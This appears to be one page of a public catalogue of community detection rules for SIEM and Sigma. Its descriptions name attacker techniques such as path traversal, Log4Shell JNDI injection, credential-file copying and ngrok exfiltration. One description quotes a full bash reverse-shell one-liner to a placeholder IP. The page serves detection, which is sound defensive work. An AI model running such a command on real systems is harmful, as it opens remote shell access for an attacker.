Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
7,128 detections
Filters
Last updated
All Time
Detection languages
3,214
1,086
498
476
469
Contributors
1,824
1,607
872
505
300
Categories
2,968
2,462
1,061
1,022
907
Platforms
39,781
7,128
6,515
3,860
3,597
Products / Services
1,324
1,062
969
655
488
MITRE Techniques
2,222
1,319
1,313
874
872
CVEs
66
65
33
32
28
IDS Classtypes
81
79
56
27
10
IDS Protocols
149
98
6
5
4
Detects potential local file read vulnerability in JVM based apps.
If the exceptions are caused due to user input and contain path traversal payloads then it's a red flag.
If the exceptions are caused due to user input and contain path traversal payloads then it's a red flag.
Detects process execution related exceptions in JVM based apps, often relates to RCE
Detects process execution related errors in NodeJS. If the exceptions are caused due to user input then they may suggest an RCE vulnerability.
Detects exceptions in velocity template renderer, this most likely happens due to dynamic rendering of user input and may lead to RCE.
Detects shellshock expressions in log files
Detects when the file "passwd" or "shadow" is copied from tmp path
Detects the use of grep to identify information about the operating system architecture. Often combined beforehand with the execution of "uname" or "cat /proc/cpuinfo"
Detects the creation of a new named pipe using the "mkfifo" utility
Detects the creation of a new named pipe using the "mkfifo" utility in a potentially suspicious location
Detects usage of "find" binary in a suspicious manner to perform discovery
Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance
Detects execution of shells from a parent process located in a temporary (/tmp) directory
Java Payload Strings
Sigma
Detects possible Java payloads in web access logs
Detects path traversal exploitation attempts
Detects potential JNDI Injection exploitation. Often coupled with Log4Shell exploitation.
Detects XML parsing issues, if the application expects to work with XML make sure that the parser is initialized safely.
Detects suspicious command with /dev/tcp
Detects the creation of shell scripts under the "profile.d" path.
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
Detects process connections to a Monero crypto mining pool
Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors
Page 336 of 340